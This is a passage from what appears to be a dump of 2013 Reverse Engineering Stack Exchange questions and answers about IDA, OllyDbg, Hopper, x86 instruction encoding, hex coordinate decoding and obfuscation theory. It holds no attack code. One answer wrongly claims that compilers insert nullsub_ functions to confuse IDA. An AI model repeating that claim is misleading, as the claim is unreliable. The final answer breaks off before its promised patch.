All features in Hopper seem to function as well as you'd expect from a fairly new product (meaning the time of development that went into it overall) and the price tag. It is being improved all the time, so you'll be able to get feature updates.

\n\n

However, the biggest - by far - disadvantage for me is the \"learning curve\". A lot of the features in Hopper have different shortcuts or slightly different work flows, but one can clearly see how the author must be aware of IDA and recent developments in IDA (notably since about IDA version 5.0). Although I come from the other side, I think someone starting with Hopper will benefit from it when later going professional and switching to paid IDA.

\n\n
\n\n

Last but not least a note about decompilers. Being more acquainted with disassemblers I actually found results of Hex-Rays confusing and ambiguous in many cases in the past. The same holds for decompilation results of Hopper. If you are a seasoned reverser, disassembly sometimes tends to be \"clearer\" (albeit less convenient) the more experience you have.

\n" }, { "Id": "2379", "CreationDate": "2013-06-29T01:55:39.363", "Body": "

Sorry if this is the wrong place to ask this but I'm stumped. I'm looking at iOS code as follows.

\n\n
- (NSString *)currentE6Location {\n    CLLocationCoordinate2D loc = [AppDelegate instance].mapView.centerCoordinate;\n    return [NSString stringWithFormat:@\"%08x,%08x\", (int)(loc.latitude*1E6), (int)(loc.longitude*1E6)];\n}\n
\n\n

So it's pretty simple.. From my understanding is they are taking a lat/lon and changing it from a float to an int then converting the int to a hex that is 0 padded in the front. So the hex value is 8 chars in length. The issue I'm having is do the same thing in python..

\n\n

So the iOS app sends hex values like

\n\n
36.968772,-122.013498   \"0234194f,f8ba38ae\"\n
\n\n

The first set are lat/long and the 2nd are roughly their hex values

\n\n

The lat works just fine

\n\n
0234194f = 36968783\n
\n\n

So \n 36968783 / 1e6 = 36.968783 (like I said its a rough estimate between the two)

\n\n

But the 2nd one is odd

\n\n
f8ba38ae = 4172953774\n
\n\n

The seem to use a 4 there if it's a - value for lon since you can't have a negative int has a hex value. So dropping the 4

\n\n
172953774 / 1e6 = 172.953774 (so knowing the 4 is there it would be -172.953774)\n
\n\n

So I'm a bit stumped on why it works fine for the lat but not the lon..

\n\n

Again sorry if this is the wrong site for this.. please close if it is.

\n", "Title": "Converting hex value to lat/long", "Tags": "|hex|", "Answer": "

I'm not sure that this is the right place -- StackOverflow would have been a fine place to ask -- but I'll answer anyway. Essentially the issue is that %x treats the argument as an unsigned int. So the value f8ba38ae is the two's complement representation of the original signed int.

\n\n

You can convert it back easily, though, for example with this Python snippet:

\n\n
>>> import struct\n>>> struct.unpack('>i', 'f8ba38ae'.decode('hex'))[0]\n-122013522\n
\n" }, { "Id": "2384", "CreationDate": "2013-06-30T20:50:12.677", "Body": "

Dexguard claims a \"hacker protection factor\" of 35 without any explanation of where the number comes from or what it means. I figure the actual statement is meaningless, but I'm very curious to see who is assessing these protection factors.

\n\n

A Google search didn't turn up anything, so I thought that the Dexguard authors probably made it up themselves. But this Twitter post implies that there are other \"hacker protection factors\", out there which 35 can be compared with.

\n\n

Does anyone know what the deal with this is? Is it just more pointless puffery? Is there an actual group that is assigning these numbers?

\n", "Title": "Origin of \"Hacker Protection Factor\"", "Tags": "|obfuscation|", "Answer": "

\"Hacker Protection Factor\" is a geeky play of words on \"Sun Protection Factor\" -- how much longer can an application be attacked before being damaged. The numbers are based on empirical evidence (\"Based on our experience,...\"). I thought it was cute; it is not an industry standard, but it does serve as a simple indication that an application processed with ProGuard is more difficult to reverse-engineer than the original application, and an application processed with DexGuard is a lot more difficult to reverse-engineer.

\n\n

(I am the developer of ProGuard and DexGuard)

\n" }, { "Id": "2388", "CreationDate": "2013-07-01T15:03:23.287", "Body": "

When reversing binaries and parsing memory, I often run across strings like \"@YAXPAX@\" used to reference procedures. Is there a name for this type of convention?

\n\n

I believe theses strings are symbol references.

\n", "Title": "Artifacts similar to \"@YAXPAX@\" within memory and IDA sessions", "Tags": "|disassembly|ida|", "Answer": "

for vc++ name demangling you can use

\n\n

vc++filt

\n\n

it is a small wrapper over dbghelp Function UnDecorateSymbolname() that takes the mangled string and prints out demangled names back to the console see below for a snippet

\n\n
??3@YAXPAX@Z\nvoid __cdecl operator delete(void *)\n?AFXSetTopLevelFrame@@YAXPAVCFrameWnd@@@Z\nvoid __cdecl AFXSetTopLevelFrame(class CFrameWnd *)\n
\n\n

snippet

\n\n
int _tmain(int argc, _TCHAR* argv[])\n{\n    char buff[0x100];\n    UnDecorateSymbolName(\"??3@YAXPAX@Z\",buff,0xf0,UNDNAME_COMPLETE);\n    printf(\"%s\\n\",buff);\n    return 0;\n}\n
\n\n

output

\n\n
void __cdecl operator delete(void *)\n
\n" }, { "Id": "2391", "CreationDate": "2013-07-01T23:35:25.503", "Body": "

My question is related to this question with the excellent answer of @Rolf Rolles. Since the paper of M.D. Preda et al is quite technique so I wonder whether I understand their idea or not. The following phrase is quoted from the paper:

\n\n
\n

The basic idea is to model attackers as abstract interpretations of\n the concrete program behaviour, i.e., the concrete program semantics.\n In this framework, an attacker is able to break an opaque predicate\n when the abstract detection of the opaque predicate is equivalent to\n its concrete detection.

\n
\n\n

As fas as I understand, they have given a formal model of attacker as someone trying to obtain the properties of program using a sound approximation as abstract interpretation (AI). The attacker will success if the AI procedure is complete (informally speaking, the fixed-point obtained in the abstract domain \"maps\" also back to the fixed-point in the concrete domain).

\n\n

Concretely speaking, their model can be considered as an AI-based algorithm resolving the opaque predicate. In fact, this idea spreads everywhere (e.g. in this paper, the authors have proven that the DPLL algorithm used in SMT solvers is also a kind of abstract interpretation).

\n\n

Obviously, in the worst case where the abstract interpretation is not complete then the attacker may never recover the needed properties (e.g. he can approximate but he will never recover the exact solution for a well-designed opaque predicate).

\n\n

So I wonder that the model of attacker as abstract domains may have some limits, because we still not sure that all attacks can be modelled in AI. Then a straitghtforward question comes to me is \"What happens if the attacker uses some other methods to resolve the opaque predicate ?.\"

\n\n

For a trivial example, the attacker can simply use the dynamic analysis to bypass the opaque predicate (he accepts some incorrectness, but finally he may be able to get the properties he wants).

\n\n

Would anyone please give me some suggestions ?

\n", "Title": "Formal obfuscation", "Tags": "|obfuscation|deobfuscation|", "Answer": "

Any obfuscation technique (or its formalization) targets one or more assumptions made by some class of analyses A -- in essence, the obfuscation transforms a program P0 into a different representation P1 that has the same execution behavior as P0 but which violates the assumptions made by the analyses A. In doing so, the obfuscation necessarily defines a class of attacks that it is effective against; it says nothing about attacks that don't fall within that class.

\n\n

Abstract interpretation is a formalization of program analysis that assumes sound static analysis (e.g., consider the requirements imposed on the abstract domain and abstraction/concretization functions). So abstract interpretation serves to formalize obfuscations that make those assumptions and helps us reason about analyses/attacks that meet those assumptions. It doesn't describe all possible obfuscations --- e.g., any obfuscation that relies on runtime code generation or modification --- and doesn't speak to attacks that don't meet those assumptions. Thus, as you propose, an attacker who uses dynamic analysis or potentially unsound techniques essentially side-steps the rules assumed by abstract interpretation.

\n" }, { "Id": "2394", "CreationDate": "2013-07-02T05:53:22.130", "Body": "

Sometimes when you load a binary manually in IDA you wind up with segments that have unknown read write and execute flags. You can see them under the Segments subview (Shift + F7). Is there a way to change these flags from within the GUI of IDA without running a script and modifying them?

\n\n

It seems like such a basic piece of functionality which is very important for the proper operation of the Hex Rays decompiler. I've been using the class to express segment rights which just seems wrong considering these flags exist.

\n\n

Although I would appreciate the question being answered in the general case, in this particular case I'm dealing with flat binary ARM files with code and data intermixed. All page level permissions are set up by the software when it loads by directly mapping them via the MMU.

\n", "Title": "How can I change the Read/Write/Execute flags on a segment in IDA?", "Tags": "|ida|segmentation|", "Answer": "

You can do it using Sark (code, docs):

\n\n
import sark\n\n# Get the segment\nsegment = sark.Segment(ea=0x00400000)\n\n# Set the permissions\nsegment.permissions.write = True\n
\n\n

Disclaimer: I am the author of Sark.

\n" }, { "Id": "2400", "CreationDate": "2013-07-02T15:53:33.987", "Body": "

As per IDA Online Help:

\n\n
\n

The segment class name identifies the segment with a class name (such as CODE, FAR_DATA, or STACK). The linker places segments with the same class name into a contiguous area of memory in the runtime memory map.

\n
\n\n

IDA has the following predefined segment class names:

\n\n
    CODE    -       Pure code\n    DATA    -       Pure data\n    CONST   -       Pure data\n    BSS     -       Uninitialized data\n    STACK   -       Uninitialized data\n    XTRN    -       Extern definitions segment\n
\n\n

As far as I could tell permission on a segment already offer all relevant information.\nWhat is the exact purpose(or applicable usage) of Segment Class Name? How does IDA utilize it internally?

\n", "Title": "IDA: Segment Class Name", "Tags": "|disassembly|ida|", "Answer": "

Also, while permissions are more or less standardized and can inform you about the types of data/code found in a segment, remember that if you're talking about malware analysis there is no guarantee that the permissions on a segment are what you would expect.

\n\n

Not to mention that there is often a fair amount of header tampering in addition to non-standard memory utilization. In fact, this is often how you can tell whether something was written in assembly, mangled with a tool or compiled from some other language.

\n" }, { "Id": "2408", "CreationDate": "2013-07-03T21:36:35.133", "Body": "

It is possible to import structures and enums declarations from C files in IDA. \nHowever, is it possible to export structures and enums to C?

\n", "Title": "Exporting structures and enums in IDA", "Tags": "|ida|", "Answer": "

File-->Produce file-->Create C header file

\n\n

This will export all defined structures and enums.\nPlease note that in all IDA versions before IDA 6.5 you'll possibly need to reorder structures if you want to use created file for compilation of your own source.

\n" }, { "Id": "2415", "CreationDate": "2013-07-05T18:05:47.107", "Body": "

Some compilers will add useless bytes in functions or in between functions. In the below block of code at 0040117C we can see the \"align\" keyword that was inserted by IDA.

\n\n
.text:00401176                 mov     eax, [edx+4]\n.text:00401179                 call    eax\n.text:0040117B\n.text:0040117B locret_40117B:                          ; CODE XREF: sub_401160+Dj\n.text:0040117B                 retn\n.text:0040117B sub_401160      endp\n.text:0040117B\n.text:0040117B ; ---------------------------------------------------------------------------\n.text:0040117C                 align 10h\n.text:00401180\n.text:00401180 ; =============== S U B R O U T I N E =======================================\n.text:00401180\n.text:00401180 ; Attributes: bp-based frame\n.text:00401180\n.text:00401180 ; int __stdcall sub_401180(void *Src)\n
\n\n

If we were to view this in hex mode in this example we would see \"CC CC ..\". With other compilers we might see \"90 90 ..\". The obvious hint of what this is being used for is the \"align\" keyword.

\n\n

Question: how can I tell if a specific byte at an address is marked as align in IDAPython? Example code would be appreciated.

\n\n

I have found a couple of functions and data types such as FF_ALIGN and idaapi.is_align_insn(ea that looked positive but I have yet to figure out a working example or results that confirm yes or no. I would prefer to rely on IDA types or functions rather than use string parsing for the keyword \"align\".

\n", "Title": "Accessing Data Marked as Alignment Bytes in IDA", "Tags": "|ida|compilers|idapython|", "Answer": "

For IDA v7.0 you can use:

\n\n
ida_idp.is_align_insn(ScreenEA())\n
\n" }, { "Id": "2420", "CreationDate": "2013-07-06T10:24:56.467", "Body": "

In nearly every dis-assembly created by IDA, there are several functions that are marked nullsub_ which according to IDA, return null nothing (just ret instruction).

\n\n

So, what are those and why are they in the database?

\n", "Title": "What are nullsub_ functions in IDA?", "Tags": "|disassembly|ida|", "Answer": "

compiler may insert dumb null_sub randomly between directions, in order to confuse IDA decompiler. So that IDA may generate meaningless variable names, increase reverse engineer's effort to understand the workflow, to connect to dots...

\n" }, { "Id": "2427", "CreationDate": "2013-07-07T20:39:05.067", "Body": "

I am looking for a reliable source to download RE tools such as:

\n\n
    \n
  1. Lordpe
    2. \n
  2. Imprec
    3. \n
  3. Peid
    4. \n
\n\n

but it seems all the links in google are not safe, where can I buy or download it from a reliable not malwared source. Can I trust http://www.woodmann.com/ ?

\n", "Title": "Where can I get reliable tools for RE?", "Tags": "|tools|", "Answer": "

There is also http://www.openrce.org/downloads/\nThough it does not have specific tools you are looking for, it has lots of plugins for IDA and OllyDbg. It is trustworthy source as well.

\n" }, { "Id": "2428", "CreationDate": "2013-07-07T21:07:13.747", "Body": "

I have heard countless stories on the Old Red Cracker, also known as +ORC, being the founding father of reverse engineering tutorials.

\n\n

I also read somewhere that he left some riddles to find his \"secret page\" and he disappeared into thin air.

\n\n

Did anyone really solve these riddles? Is the identity, or some of the background, of that person known?

\n", "Title": "Who was the Old Red Cracker?", "Tags": "|history|", "Answer": "

Yes, the riddle was solved. See http://www.home.aone.net.au/~byzantium/found/found4.html

\n\n

As for +ORC himself, there's some more info at http://www.woodmann.com/crackz/Orc.htm

\n\n

The last time I spoke with Fravia+ about +ORC, Fravia+ said that +ORC became obsessed with the pyramids in Egypt and went there to study them. He contracted some kind of illness while there and died rather suddenly. If I remember correctly, Fravia+ learned of +ORC's death through +ORC's son.

\n" }, { "Id": "2432", "CreationDate": "2013-07-08T16:15:23.567", "Body": "

This is probably a pretty simple question as I'm not too used to how the syntax looks for OllyDBG's disassembler.

\n\n

Does this following assembler statement:

\n\n
MOV EAX, DWORD PTR [ESI + 14]\n
\n\n

Be roughly translated to this C code:

\n\n
eax = *(esi + 0x14);\n
\n\n

Have I understood the syntax correctly or am I misunderstanding this?

\n", "Title": "OllyDBG's disassembled syntax and c-equivalent", "Tags": "|disassembly|assembly|x86|ollydbg|", "Answer": "

@DCoder has certainly answered this, so here is only some notes, or, at least it started out as a short note, and ended up as a monster.

\n\n
\n\n

OllyDbg uses MASM by default (with some extension). In other words:

\n\n
operation target, source\n
\n\n

Other syntaxes are available under (depending on version):

\n\n\n\n

E.g. IDEAL, HLA and AT&T.

\n\n

There is also quite a few other options for how the disassembled code looks like. Click around. The changes are instantaneously so easy to find the right one.

\n\n

Numbers are always hex, but without any notation like 0x or h (for compactness sake I guess \u2013\u00a0and the look is cleaner (IMHO)). Elsewhere, like the instruction details below disassembly, one can see e.g. base 10 numbers \u2013 then denoted by a dot at end. E.g. 0x10 (16.)

\n\n
\n\n

(And here I stride off \u2026)

\n\n

When it comes to reading the code

\n\n

(Talking Intel)

\n\n

First off tables like the ones at x86asm.net and the Sandpile are definitively valuable assets in the work with assembly code. However one should also have:

\n\n\n\n

From Intel\u00ae 64 and IA-32 Architectures Software Developer Manuals.

\n\n

There is a lot of good sections and descriptions of how a system is stitched together and how operations affect the overall system as in registers, flags, stacks etc. Read e.g. 6.2 STACKS, 3.4 BASIC PROGRAM EXECUTION REGISTERS, CHAPTER 4 DATA TYPES from the \"Developers\" volume.

\n\n
\n\n

As mentioned x86amd and Sandpile are good resources, but when you wonder about an instruction the manual is a good choice as well; \"Instruction Set Reference A-Z\".

\n\n

Your whole line is probably something like:

\n\n
00406ED6     8B46 14           MOV EAX,DWORD PTR DS:[ESI+14]\n; or\n00406ED6     8B46 14           MOV EAX,DWORD PTR [ESI+14]\n
\n\n

(Depending on options and Always show default segment.)

\n\n

In this case we can split the binary as:

\n\n
8B46 14\n | |  |\n | |  +---> Displacement\n | +------> ModR/M\n +--------> Opcode\n
\n\n

Note that there can be prefixes before opcode and other fields as well. For detail look at manual. E.g. \"CHAPTER 2 INSTRUCTION FORMAT\" in A-Z manual.

\n\n
\n\n

Find the MOV operation and you will see:

\n\n

MOV \u2013 move

\n\n
Opcode   Instruction     Op/En   64-bit    Compat   Description\n\u2026\n8B /r    MOV r32,r/m32   RM      Valid     Valid    Move r/m32 to r32.\n               |   |\n               |   +---> source\n               +-------> destination\n\u2026\n
\n\n

Instruction Operand Encoding

\n\n
Op/En   Operand1         Operand2         Operand3         Operand4\nRM      ModRM:reg (w)    ModRM:r/m (r)    NA               NA\n
\n\n

Read \"3.1 INTERPRETING THE INSTRUCTION REFERENCE PAGES\" for details on codes.

\n\n

In short MOV \u2013 mov table say:

\n\n
8B   : Opcode.\n/r   : ModR/M byte follows opcode that contains register and r/m operand.\nr32  : One of the doubleword general-purpose registers.\nr/m32: Doubleword general-purpose register or memory operand.\nRM   : Code for \"Instruction Operand Encoding\"-table.\n
\n\n

The Instruction Operand Encoding table say:

\n\n
reg  : Operand 1 is defined by the reg bits in the ModR/M byte.\n(w)  : Value is written.\nr/m  : Operand 2 is Mod+R/M bits of ModR/M byte.\n(r)  : Value is read.\n
\n\n
\n\n

The too deep section

\n\n

OK. Now I'm going to deep here, but can't stop myself. (Often find that knowing the building blocks help understand the process.)

\n\n

The ModR/M byte is 0x46 which in binary form would be:

\n\n
         7,6   5,4,3   2,1,0  (Bit number)\n0x46:    01     000     110\n          |      |       |\n          |      |       +---> R/M\n          |      +-----------> REG/OpExt\n          +------------------> Mod\n
\n\n
    \n
  1. The value 000 of REG field translates to EAX
    2. \n
  2. Mod+R/M translates to ESI+disp8
    3. \n
\n\n

(Ref. \"2.1.5 Addressing-Mode Encoding of ModR/M and SIB Bytes\" table 2-2, in A-Z ref.).

\n\n

Pt. 2. tells us that a 8-bit value, 8-bit displacement byte, follows the ModR/M byte which should be added to the value of ESI. In comparison, if there was a 32-bit displacement or register opcode+ModR/M's would be:

\n\n
32-bit displacement                 General-purpose register\n\n +-----> MOV r32,r/m32               +-----> MOV r32,r/m32\n |                                   |\n8Bh 86h                             8Bh C1h\n     |         +--> EAX                  |         +--> EAX\n     |         |                         |         |\n     +---> 10 000 110 b                  +---> 11 000 001 b\n            |       |                           |       |\n            +---+---+                           +---+---+\n                |                                   |\n                v                                   v\n               ESI + disp32                        ECX\n
\n\n
\n\n

As we have a disp8 the next byte is a 1-byte value that should be added to the value of ESI. In this case 0x14.

\n\n

Note that this byte is signed so e.g. 0xfe would mean ESI - 0x02.

\n\n

Segment to use

\n\n

ESI is pointer to data in segment pointed to by DS.

\n\n

A segment selector is comprised of three values:

\n\n
    15 - 3             2                   1 - 0              (Bits)\n|-------------|-----------------|---------------------------|\n|    Index    | Table Indicator | Requested Privilege Level |\n+-------------+-----------------+---------------------------+\n
\n\n

So say selector = 0x0023 we have:

\n\n
0x23 0000000000100 0 11 b\n           |       |  |\n           |       |  +----> RPL  : 3   = User land, (0 is kernel)\n           |       +-------> TI   : 0   = GDT (GDT or LDT)\n           +---------------> Index: 4     Multiplied by 8 and added to TI\n
\n\n\n\n

The segment registers (CS, DS, SS, ES, FS and GS) are designed to hold selectors for code, stack or data. This is to lessen complexity and increase efficiency.

\n\n

Each of these registers also have a hidden part aka \"shadow register\" or \"descriptor cache\" which holds base address, segment limit and access control information. These values are automatically loaded by the processor when a segment selector is loaded into the visible part of the segment registers.

\n\n
   | Segment Selector |      Shadow Register     |\n   +------------------+--------------------------+\n   |  Idx  | TI | RPL | BASE  | Seg Lim | Access | CS, SS, DS, ES, FS, GS\n   +------------------+--------------------------+\n
\n\n

The BASE address is a linear address. ES, DS and SS are not used in 64-bit mode.

\n\n
\n\n

Result

\n\n

Read a 32-bit value from segment address ESI+disp8. Example:

\n\n
ESI = 0x005056A0\n\nDump of DS segment:\n           0  1  2  3  4  5  6  7  8  9  a  b  c  d  e  f\n005056A0  00 00 00 00 9C 8F 41 7E 4C 1F 42 00 C0 1E 42 00  ....\u0153A~LB.\u00c0B.\n005056B0  E0 1F 42 00 70 20 42 00 48 21 42 00 4A A8 42 7E  \u00e0B.p B.H!B.J\u00a8B~\n\nESI + 0x14 = 0x005056B4 => 70 20 42 00 \u2026\n\nEAX = (DWORD)70 20 42 00 = 00 42 20 70 (4333680.)\n
\n\n
\n\n

Simulate in C

\n\n

One problem with your example is that esi is an integer (strictly speaking). The value, however, can be that one of a segment address. Then you have to take into consideration that each segment has a base address, (offset), \u2013 as in:

\n\n
seg = malloc(4096);\nseg[0] \n    |\n    +---> at base address, e.g. 0x505000\n\n       +----------------+\n       |                |\n       |                |\n        \u2026\n505000 |                | seg[00 - 0f]\n505010 |                | seg[10 - 1f]\n505020 |                | seg[20 - 2f]\n        \u2026\n
\n\n

In this case, as it is ESI, that segment would be the one pointed to by DS.

\n\n
\n\n

To simulate this in C you would need variables for the general-purpose registers, but you would also need to create segments (from where to read/write data.) Roughly such a code could be something like:

\n\n
void dword_m2r(uint32_t *x, struct segment *seg, uint32_t offset)\n{\n    *x = *((uint32_t*)(seg->data + (offset - seg->base)));\n}\n\ndword_m2r(&eax, &ds, esi + 0x14);\n
\n\n

Where struct segment and ds are:

\n\n
struct segment {\n    u8 *data;\n    u32 base;\n    u32 size;\n    u32 eip;\n};\n\nstruct segment ds;\nds.base = 0x00505000;\nds.size = 0x3000;\nds.data = malloc(ds.size);\nds.eip  = 0x00;\n
\n\n

To further develop on this concept you could create another struct with registers, use defines or variables for registers, add default segments etc.

\n\n

For Intel-based architecture that could be something in the direction of this (as a not to nice beginning):

\n\n
#include <stdint.h>\n\n#define u64  uint64_t\n#define u32  uint32_t\n#define u16  uint16_t\n#define u8   uint8_t\n\nunion gen_reg {\n    u64 r64;\n    u32 r32;\n    u16 r16;\n    u8   l8;\n};\n\nstruct CPU {\n    union gen_reg accumulator;\n    u8 *ah;\n    union gen_reg counter;\n    u8 *ch;\n    \u2026\n    struct segment s_stack;\n    struct segment s_code;\n    struct segment s_data;\n    \u2026\n\n    u32 eflags;\n    u32 eip;\n    \u2026\n};\n\n\n#define RAX   CPU.accumulator.rax\n#define EAX   CPU.accumulator.eax\n#define AX    CPU.accumulator.ax\n#define AH    *((u8*)&AX + 1)\n#define AL    CPU.accumulator.al\n\u2026\n\n\n/* and then some variant of */\nESI = 0x00505123;\ndword_m2r(&EAX, &DS, ESI + 0x14);\n
\n\n

For a more compact way, ditching ptr to H register etc. have a look at e.g.\nthe code base of virtualbox. Note: require some form of pack directive for most compilers to prevent filling of bits in structs \u2013\u00a0so that e.g. AH and AL really align up with correct bytes of AX.

\n" }, { "Id": "2440", "CreationDate": "2013-07-09T20:36:51.017", "Body": "

I am trying to reverse engineer a binary blob I expect to transition from 16-bit real mode into 32-bit protected mode (it is boot time code), so I expect the code to contain code of both sorts.

\n\n

When I launch IDA, I am given the option of 16 or 32-bit code, but not mixed.

\n\n

How do I instruct IDA to attempt to disassemble data at a given address as 32-bit mode?

\n\n

I can using the 16-bit analyzer deduce the initial jump (unoriginally) and IDA happily analyses the code from there. I can see where the 32-bit code jumps to (far jump, so IDA doesn't try to analyze it), but IDA treats this as 16-bit when I hit C.

\n\n

Other than launching a 16, and a 32-bit dissasmbly session, can I do this in one?

\n", "Title": "Mixed 16/32-bit code reversing using IDA", "Tags": "|ida|x86|", "Answer": "

Ida Free 5

\n\n
Edit -> Segments ->CreateSegment\n
\n\n

in the dialog

\n\n
segment name  = seg001....seg00n\nstart         = <start address viz 0x0A\nend           = <end address viz 0x1e\nbase          = 0x0 \nclass         = some text viz 32one,32two,16three\nradio button  = 32 bit segment or 16 bit segment as needed\nclick yes to a cryptic dialog \n
\n\n

example \nthe binary stream contains 16 bit dos puts routine and 32 bit random pushes intermixed

\n\n
C:\\Documents and Settings\\Admin\\Desktop>xxd -g 1 1632blob.bin\n0000000: b4 01 cd 21 88 c2 b4 02 cd 21 68 78 56 34 12 68  ...!.....!hxV4.h\n0000010: 0d d0 37 13 68 be ba 37 13 68 00 0d db ba b4 01  ..7.h..7.h......\n0000020: cd 21 88 c2 b4 02 cd 21 68 78 56 34 12 68 0d d0  .!.....!hxV4.h..\n0000030: 37 13 68 be ba 37 13 68 00 0d db ba b4 01 cd 21  7.h..7.h.......!\n0000040: 88 c2 b4 02 cd 21 68 78 56 34 12 68 0d d0 37 13  .....!hxV4.h..7.\n0000050: 68 be ba 37 13 68 00 0d db ba                    h..7.h....\n\nC:\\Documents and Settings\\Admin\\Desktop>\n
\n\n

loading this blob as binary file moving to offset 0 and pressing c would disassemble all bytes as 16 bit

\n\n

now you can move to offset 0x0a and create a 32 bit segment with start as 0x0a end as 0x1e base as 0x0 class as 32one use 32bitsegment radio button and press c again to create 32 bit disassembly

\n\n

see below

\n\n
seg000:0000                ;\nseg000:0000                ; +-------------------------------------------------------------------------+\nseg000:0000                ; \u00a6     This file is generated by The Interactive Disassembler (IDA)        \u00a6\nseg000:0000                ; \u00a6     Copyright (c) 2010 by Hex-Rays SA, <support@hex-rays.com>           \u00a6\nseg000:0000                ; \u00a6                      Licensed to: Freeware version                      \u00a6\nseg000:0000                ; +-------------------------------------------------------------------------+\nseg000:0000                ;\nseg000:0000                ; Input MD5   : AEB17B9F8C4FD00BF2C04A4B3399CED1\nseg000:0000\nseg000:0000                ; ---------------------------------------------------------------------------\nseg000:0000\nseg000:0000                                .686p\nseg000:0000                                .mmx\nseg000:0000                                .model flat\nseg000:0000\nseg000:0000                ; ---------------------------------------------------------------------------\nseg000:0000\nseg000:0000                ; Segment type: Pure code\nseg000:0000                seg000          segment byte public 'CODE' use16\nseg000:0000                                assume cs:seg000\nseg000:0000                                assume es:seg005, ss:seg005, ds:seg005, fs:seg005, gs:seg005\nseg000:0000 B4 01                          mov     ah, 1\nseg000:0002 CD 21                          int     21h\nseg000:0004 88 C2                          mov     dl, al\nseg000:0006 B4 02                          mov     ah, 2\nseg000:0008 CD 21                          int     21h\nseg000:0008                seg000          ends\nseg000:0008\nseg001:0000000A                ; ---------------------------------------------------------------------------\nseg001:0000000A\nseg001:0000000A                ; Segment type: Regular\nseg001:0000000A                seg001          segment byte public '32one' use32\nseg001:0000000A                                assume cs:seg001\nseg001:0000000A                                ;org 0Ah\nseg001:0000000A                                assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing\nseg001:0000000A 68 78 56 34 12                 push    12345678h\nseg001:0000000F 68 0D D0 37 13                 push    1337D00Dh\nseg001:00000014 68 BE BA 37 13                 push    1337BABEh\nseg001:00000019 68 00 0D DB BA                 push    0BADB0D00h\nseg001:00000019                seg001          ends\nseg001:00000019\nseg002:001E                ; ---------------------------------------------------------------------------\nseg002:001E\nseg002:001E                ; Segment type: Pure code\nseg002:001E                seg002          segment byte public 'CODE' use16\nseg002:001E                                assume cs:seg002\nseg002:001E                                ;org 1Eh\nseg002:001E                                assume es:seg005, ss:seg005, ds:seg005, fs:seg005, gs:seg005\nseg002:001E B4 01                          mov     ah, 1\nseg002:0020 CD 21                          int     21h\nseg002:0022 88 C2                          mov     dl, al\nseg002:0024 B4 02                          mov     ah, 2\nseg002:0026 CD 21                          int     21h\nseg002:0026                seg002          ends\nseg002:0026\nseg003:00000028                ; ---------------------------------------------------------------------------\nseg003:00000028\nseg003:00000028                ; Segment type: Regular\nseg003:00000028                seg003          segment byte public '32two' use32\nseg003:00000028                                assume cs:seg003\nseg003:00000028                                ;org 28h\nseg003:00000028                                assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing\nseg003:00000028 68 78 56 34 12                 push    12345678h\nseg003:0000002D 68 0D D0 37 13                 push    1337D00Dh\nseg003:00000032 68 BE BA 37 13                 push    1337BABEh\nseg003:00000037 68 00 0D DB BA                 push    0BADB0D00h\nseg003:00000037                seg003          ends\nseg003:00000037\nseg004:003C                ; ---------------------------------------------------------------------------\nseg004:003C\nseg004:003C                ; Segment type: Pure code\nseg004:003C                seg004          segment byte public 'CODE' use16\nseg004:003C                                assume cs:seg004\nseg004:003C                                ;org 3Ch\nseg004:003C                                assume es:seg005, ss:seg005, ds:seg005, fs:seg005, gs:seg005\nseg004:003C B4 01                          mov     ah, 1\nseg004:003E CD 21                          int     21h\nseg004:0040 88 C2                          mov     dl, al\nseg004:0042 B4 02                          mov     ah, 2\nseg004:0044 CD 21                          int     21h\nseg004:0044                seg004          ends\nseg004:0044\nseg005:00000046                ; ---------------------------------------------------------------------------\nseg005:00000046\nseg005:00000046                ; Segment type: Regular\nseg005:00000046                seg005          segment byte public '32three' use32\nseg005:00000046                                assume cs:seg005\nseg005:00000046                                ;org 46h\nseg005:00000046                                assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing\nseg005:00000046 68 78 56 34 12                 push    12345678h\nseg005:0000004B 68 0D D0 37 13                 push    1337D00Dh\nseg005:00000050 68 BE BA 37 13                 push    1337BABEh\nseg005:00000055 68 00 0D DB BA                 push    0BADB0D00h\nseg005:00000055                seg005          ends\nseg005:00000055\nseg005:00000055\nseg005:00000055                                end\n
\n" }, { "Id": "2460", "CreationDate": "2013-07-13T20:45:04.423", "Body": "

I am trying to modify RadASM so that Ctrl+W will close the tab, instead of Ctrl+F4, and also make it so that if you middle mouse click the tab, it will close. The context menu for a tab is just a copy of the \"Windows\" menu bar item. The problem is, I can not figure out which library or even function is used to create menu bars and its items. I can not find any relevant strings in OllyDBG, and I've tried making breakpoints for just about every call I thought it might be, but I can't get anything.

\n\n

Can anybody point me in the right direction? I couldn't locate the function in RadASM for determining which hotkeys/shortcuts do what either.

\n\n

I know all about code caves and injecting DLLs, so adding a function like the middle mouse click shouldn't be impossible; I just need to know where to start since I'm quite new to reverse engineering.

\n", "Title": "Change RadASM hotkey and add middle mouse click hotkey", "Tags": "|assembly|ollydbg|", "Answer": "
ollydbg radasm.exe\nview windows (W Icon)\nsort class\nand look for Mdi class like mdiEditChild / dialog etc\n
\n\n

example

\n\n
Windows, item 96\n Handle=000704EE\n Title=C:\\testrad\\Html\\Projects\\testrad\\testradinc3.html\n Parent=000203E4\n ID=0000FDEA (65002.)\n Style=56CF0001 WS_CHILD|WS_GROUP|WS_TABSTOP|WS_CLIPSIBLINGS|WS_CLIPCHILDREN|WS_VISIBLE|WS_SYSMENU|WS_THICKFRAME|WS_CAPTION|1\n ExtStyle=00000340 WS_EX_MDICHILD|WS_EX_WINDOWEDGE|WS_EX_CLIENTEDGE\n Thread=Main\n ClsProc=00xxxxxx RadASM.00xxxxxx\n Class=MdiEditChild\n
\n\n

right click message breakpoint on class proc

\n\n

in the dialog

\n\n
choose window creation and destruction\nnever pause radio button\nlog winproc args always\n
\n\n

you should be able to capture the WM_CLOSE sent by ctrl+f4

\n\n
Log data\nAddress    Message\n00XXXXXX   CALL to Assumed WinProc from USER32.7E418731\n             hWnd = 000704EE ('C:\\testrad\\Html\\Projects\\test...',class='MdiEditChild',parent=000203E4)\n             Message = WM_CLOSE\n             wParam = 0\n             lParam = 0  \n
\n\n

The patch below should pop up a Messagebox when you hit Middle Mouse Button \non the SysTabControl

\n\n
